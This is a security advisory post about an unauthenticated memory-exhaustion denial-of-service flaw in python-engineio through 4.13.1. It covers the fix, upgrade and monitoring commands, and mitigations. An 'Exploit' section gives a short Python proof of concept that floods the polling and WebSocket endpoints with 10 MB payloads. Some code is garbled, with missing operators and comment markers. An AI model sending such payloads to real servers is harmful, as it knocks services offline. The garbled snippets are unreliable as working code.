python-engineio, Denial of Service, GSA_kwCzR0hTQS1tOWdoLXZqNTMtZ3ZoOc4ABZnW (Medium) -DC-Jun2026-696

Listen to this Post

The vulnerability resides in two specific server configurations of the python‑engineio package where the size of incoming messages is not validated before the data is loaded into memory. An unauthenticated remote attacker can exploit this by sending oversized payloads, causing the server to allocate excessive memory and eventually leading to a denial‑of‑service (DoS) condition.
The first affected configuration involves ASGI servers using the long‑polling transport. When a POST request arrives, the server reads the entire body into memory without first checking whether the client is known and authenticated, nor whether the payload exceeds the configured maximum size. This allows an attacker to stream a large request that forces the server to allocate a huge buffer, exhausting available RAM.
The second configuration concerns Aiohttp servers with the WebSocket transport. In this case, the underlying WebSocket layer from Aiohttp does not enforce the maximum payload size configured in python‑engineio. As a result, an attacker can send a single oversized WebSocket message that is passed directly to the engineio handler, again triggering uncontrolled memory allocation.
Both scenarios share the same root cause: the absence of a size check before loading the message into memory. The impact is not limited to a single request – an attacker can repeat the attack with multiple connections, quickly saturating the server’s memory and making the service unresponsive. The vulnerability is particularly dangerous because it does not require any authentication or special privileges, and it can be triggered remotely over the network.
The issue was addressed in version 4.13.2 by implementing two distinct fixes:
– For ASGI servers, the server now only loads the request body after confirming that the client is known and authenticated, and only if the payload size is below the allowed limit. Requests that do not meet these criteria are discarded immediately.
– For Aiohttp WebSocket servers, the maximum payload size is now enforced at the Aiohttp layer, so that oversized messages are rejected before they ever reach the python‑engineio handler.
These changes eliminate the possibility of uncontrolled memory allocations, effectively closing the DoS vector.

DailyCVE Form:

Platform: ....... python-engineio
Version: ........ <= 4.13.1
Vulnerability :.. Unchecked message size leading to memory exhaustion (CWE-770)
Severity: ....... Medium (CVSS 4.0: 6.5)
date: ........... 2026-05-21 (public advisory)
Prediction: ..... Upgrade to 4.13.2 immediately (patch already available)

What Undercode Say (Analytics)

Check your current version:

pip show python-engineio | grep Version

Upgrade to the patched version:

pip install --upgrade python-engineio==4.13.2

Verify the fix is applied (for ASGI servers):

In your ASGI application, ensure that max_http_buffer_size is set
import engineio
eio = engineio.AsyncServer(max_http_buffer_size=10241024) 1 MB limit

For Aiohttp WebSocket servers, the fix is transparent – just ensure you are using version 4.13.2 or later.

Monitor memory usage to detect potential exploitation attempts:

watch -n 1 'ps aux --sort=-%mem | head -10'

Log analysis – look for repeated large POST requests or WebSocket messages:

grep -E "POST.engine.io|WebSocket.message" /var/log/your-app.log | awk '{if(length($0)>10000) print}'

Exploit

A simple proof‑of‑concept to test the vulnerability (before patching) would send an oversized payload:

import requests
import asyncio
import aiohttp
Exploit for ASGI long-polling – sends a large POST body
url = "http://target/socket.io/?EIO=4&transport=polling"
large_payload = "A" 10_000_000 10 MB
requests.post(url, data=large_payload, headers={"Content-Type": "text/plain"})
Exploit for Aiohttp WebSocket – sends a large message
async def send_large_ws():
async with aiohttp.ClientSession() as session:
async with session.ws_connect("ws://target/socket.io/?EIO=4&transport=websocket") as ws:
await ws.send_str("A" 10_000_000)
asyncio.run(send_large_ws())

Note: These examples are for educational purposes only. Do not use them against systems you do not own.

Protection

  • Immediate action: Upgrade to python‑engineio 4.13.2 or later.
  • If you cannot upgrade immediately:
  • For ASGI servers, implement a middleware that validates the `Content-Length` header and rejects requests with a size above your acceptable limit before they reach the engineio handler.
  • For Aiohttp WebSocket servers, you can manually set the `max_msg_size` in the Aiohttp web runner, but this is not a perfect substitute for the official fix.
  • Network‑level mitigation: Use a reverse proxy (e.g., nginx) to limit the size of incoming requests and WebSocket frames.
  • Monitor your server’s memory usage and set up alerts for sudden spikes.

Impact

  • Confidentiality: None – this is a denial‑of‑service vulnerability; it does not expose data.
  • Integrity: None – the attacker cannot modify data.
  • Availability: High – successful exploitation can render the service unavailable by exhausting system memory.
  • Attack vector: Remote, unauthenticated.
  • Complexity: Low – the attack requires only the ability to send HTTP or WebSocket requests.
  • Affected versions: All python‑engineio releases up to and including 4.13.1.
  • Fixed version: 4.13.2.
  • Workarounds: See the Protection section above.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top